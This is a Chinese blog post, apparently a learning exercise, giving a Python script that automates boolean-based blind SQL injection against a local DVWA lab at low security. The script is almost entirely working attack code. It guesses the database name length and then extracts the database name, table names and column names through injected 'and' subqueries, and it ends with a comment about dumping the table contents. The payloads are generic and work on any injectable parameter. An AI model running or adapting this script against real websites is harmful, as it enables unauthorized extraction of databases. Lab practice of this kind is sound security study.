python dvwa布尔盲注自动化脚本(level=low)
- 仅供学习代码参考
1#python dvwa布尔盲注自动化脚本- 2 import requests
- 3 import string
- 4 import time
- 5 INIT_URL="http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/sqli_blind/index.php?id="
- 6 token={"security":"low","PHPSESSID":"p7g937ga5glcvg8m5hv9o9a2ht"} #登录身份识别
- 7 COLUMN_NUM=11
- 8 COLUMN_LEN=15
- 9 dbLen=0
- 10 dbname=''
- 11 table_num=0
- 12 table=[]
- 13 table_name='' #暂存用
- 14 column=[]
- 15 column_name=''#暂存用
- 16 rightLen=0
- 17
- 18 time_start=time.time()
- 19 url=INIT_URL+"1&Submit=Submit#"
- 20 rightLen=len(requests.get(url=url,cookies=token).text)
- 21 print("正常返回文本长度:"+str(rightLen))
- 22 #1.猜解数据库名长度 poc:" 1'and (select length(database()))="+str(dbLen)#"
- 23 while True:
- 24 dbLen +=1
- 25 dbUrl=INIT_URL+"1'and (select length(database()))="+str(dbLen)+"%23&Submit=Submit#"
- 26 print(dbUrl)
- 27 if len(requests.get(url=dbUrl,cookies=token).text)==rightLen:
- 28 print("数据库长度:"+str(dbLen))
- 29 break
- 30 #2.猜解数据库名字 poc:" 1'and(select mid(database(),"+str(i)+",1)='"+j+"')=1#"
- 31 for i in range(1,dbLen+1):
- 32 for j in string.ascii_lowercase:
- 33 dbnameUrl=INIT_URL+"1'and(select mid(database(),"+str(i)+",1)='"+j+"')=1%23&Submit=Submit#"
- 34 print(dbnameUrl)
- 35 if len(requests.get(url=dbnameUrl,cookies=token).text)==rightLen:
- 36 dbname+=j
- 37 break
- 38
- 39 print("数据库名字:"+dbname)
- 40
- 41 #3.猜解数据库表数量 poc:" 1'and (select count(table_name) from information_schema.tables where table_schema='"+dbname+"')="+str(i)#"
- 42
- 43 for i in range(100):
- 44 dbUrl=INIT_URL+"1'and (select count(table_name) from information_schema.tables where table_schema='"+dbname+"')="+str(i)+"%23&Submit=Submit#"
- 45 print(dbUrl)
- 46 if len(requests.get(dbUrl,cookies=token).text)==rightLen:
- 47 print("表数量"+str(i))
- 48 table_num=i
- 49 break
- 50
- 51 #4.猜解表名 poc:" 1'and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)))=103#
- 52
- 53 for i in range(table_num):
- 54 for k in range(COLUMN_LEN):
- 55 for j in range(48,123):
- 56 dbUrl=INIT_URL+"1'and (select ascii(substr((select table_name from information_schema.tables where table_schema='"+dbname+"' limit "+str(i)+",1),"+str(k)+",1)))="+str(j)+"%23&Submit=Submit#"
- 57 print(dbUrl)
- 58 if len(requests.get(dbUrl,cookies=token).text)==rightLen:
- 59 table_name+=chr(j)
- 60 print(table_name)
- 61 break
- 62 table.append(table_name)
- 63 table_name=''
- 64 print("表名:"+str(table))
- 65
- 66
- 67
- 68 #5.猜解列名 poc :" 1'and (select ascii(substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1),1,1)))=i
- 69
- 70
- 71 for m in range(table_num):
- 72 for i in range(COLUMN_NUM):
- 73 for k in range(COLUMN_LEN):
- 74 for j in range(48,123):
- 75 dbUrl=INIT_URL+"1'and (select ascii(substr((select column_name from information_schema.columns where table_schema='"+dbname+"'and table_name='"+table[m]+"' limit "+str(i)+",1),"+str(k)+",1)))="+str(j)+"%23&Submit=Submit#"
- 76 print(dbUrl)
- 77 if len(requests.get(dbUrl,cookies=token).text)==rightLen:
- 78 column_name+=chr(j)
- 79 print(column_name)
- 80 break
- 81 column_name+='/'
- 82 column.append(column_name)
- 83 column_name=''
- 84 print("列名:"+str(column))
- 85
- 86 time_end=time.time()
- 87 print('用时:',time_end-time_start,'s')
- 88 print("正常返回文本长度:"+str(rightLen))
- 89 print("数据库长度:"+str(dbLen))
- 90 print("数据库名字:"+dbname)
- 91 print("表数量"+str(i))
- 92 print("表名:"+str(table))
- 93 print("列名:"+str(column))
- 94 #6.拖库 poc: 1'and (select ascii(substr((select column[i] from dbname.table[j] limit 0,1),1,1)))=i
- 95 #具体列具体猜解,全部猜解时间太高
python dvwa布尔盲注自动化脚本(level=low)的更多相关文章
- sqli-labs第5关布尔盲注pyhton脚本
import requests import os #此函数先判断数据库长度 def length(url,str): num = 1 while True: str_num = '%d' %num ...
- 爱上python之盲注探测脚本
本文转自:i春秋论坛 前言: 最近在学python,做了个盲注的简单的跑用户的脚本,仅做个记录. sqmap也有不灵的时候,有时需要根据情况自写脚本探测 正文: 本地用大表姐给的sql和p ...
- sql布尔盲注和时间盲注的二分脚本
布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...
- sqli-labs less8-10(布尔盲注时间盲注)
less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...
- WEB新手之布尔盲注
开始写SQL的题,单引号等特殊符号闭合漏洞比较简单,因此从Less-5开始写. 布尔盲注是多种盲注的一种,这种盲注方法也比较好理解.但使用这种盲注有一个前提,就是网页会有回显,透过这个回显,我们可以通 ...
- SQL注入之Sqli-labs系列第八篇(基于布尔盲注的注入)
开始挑战第八关(Blind- Boolian- Single Quotes- String) 这关首先需要用到以下函数: 开始测试,使用测试语句,利用单引号进行闭合 猜解字段 union select ...
- WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注
1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)
写在前面: 首先需要更改一下数据库用户的权限用于我们之后的操作. 首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的 ...
随机推荐
- Token 、Cookie和Session的区别
本文转至http://blog.csdn.net/tobetheender/article/details/52485948 https://blog.csdn.net/axin66ok/articl ...
- linux学习(二)--setup.s
执行过bootsect.s,加载了所有系统代码之后,开始向32位模式转变,为main函数的调用做准备,同样,附上图往下看 1 INITSEG = 0x9000 ! we move boot here ...
- docker设置http访问
1 编辑配置文件 vim /etc/docker/daemon.json { "registry-mirrors": ["https://a4fyjv0u.mirr ...
- centos8平台上php7.4的生产环境配置
一,php错误与日志的配置 1,创建php的日志保存目录: [root@yjweb ~]# mkdir -p /data/logs/phplogs [root@yjweb ~]# chmod 777 ...
- 笔记之Utility.DataAccess
挤出时间看了一些代码,做一些笔记,备忘!!! 现在ORM随处可见,为什么不要已有的ORM而要手动写SQL呢?这肯定是有因为滴,存在必合理嘛! 自认为关于性能.维护.Maybe还有其他的,欢迎大家拍砖! ...
- .Net Core 3.0 MVC 中使用 SqlSugar ORM框架
介绍 SqlSugar 是一款简单易用的ORM ,在国内市场占有率也比较高, 在今年10月份官网改版后 提供了完整的服务,让您的项目没有后顾之忧 下载地址 :https://github.com/s ...
- Vue 父子组件通信入门
父组件向子组件传值 1.组件实例定义方式,注意:子组件一定要使用props属性来定义父组件传递过来的数据 <script type="text/javascript"> ...
- pyqt5按钮退出程序
import sys from PyQt5.QtWidgets import QHBoxLayout,QMainWindow,QApplication,QPushButton,QWidget clas ...
- Scala 特殊符号含义
date: 2019-08-01 11:15:27 updated: 2019-08-22 15:22:32 Scala 特殊符号含义 参考地址 1. ::: :::(三个冒号)只用于连接两个 Lis ...
- MySQL全面瓦解2:常用命令和系统管理
常用命令 打开CMD命令窗口(记住使用管理员身份运行),我们就可以在命令窗口中做一些MySQL的命令操作了: 服务启动和关闭 这个我们上一个章节使用过了:net start mysql,这是服务命令, ...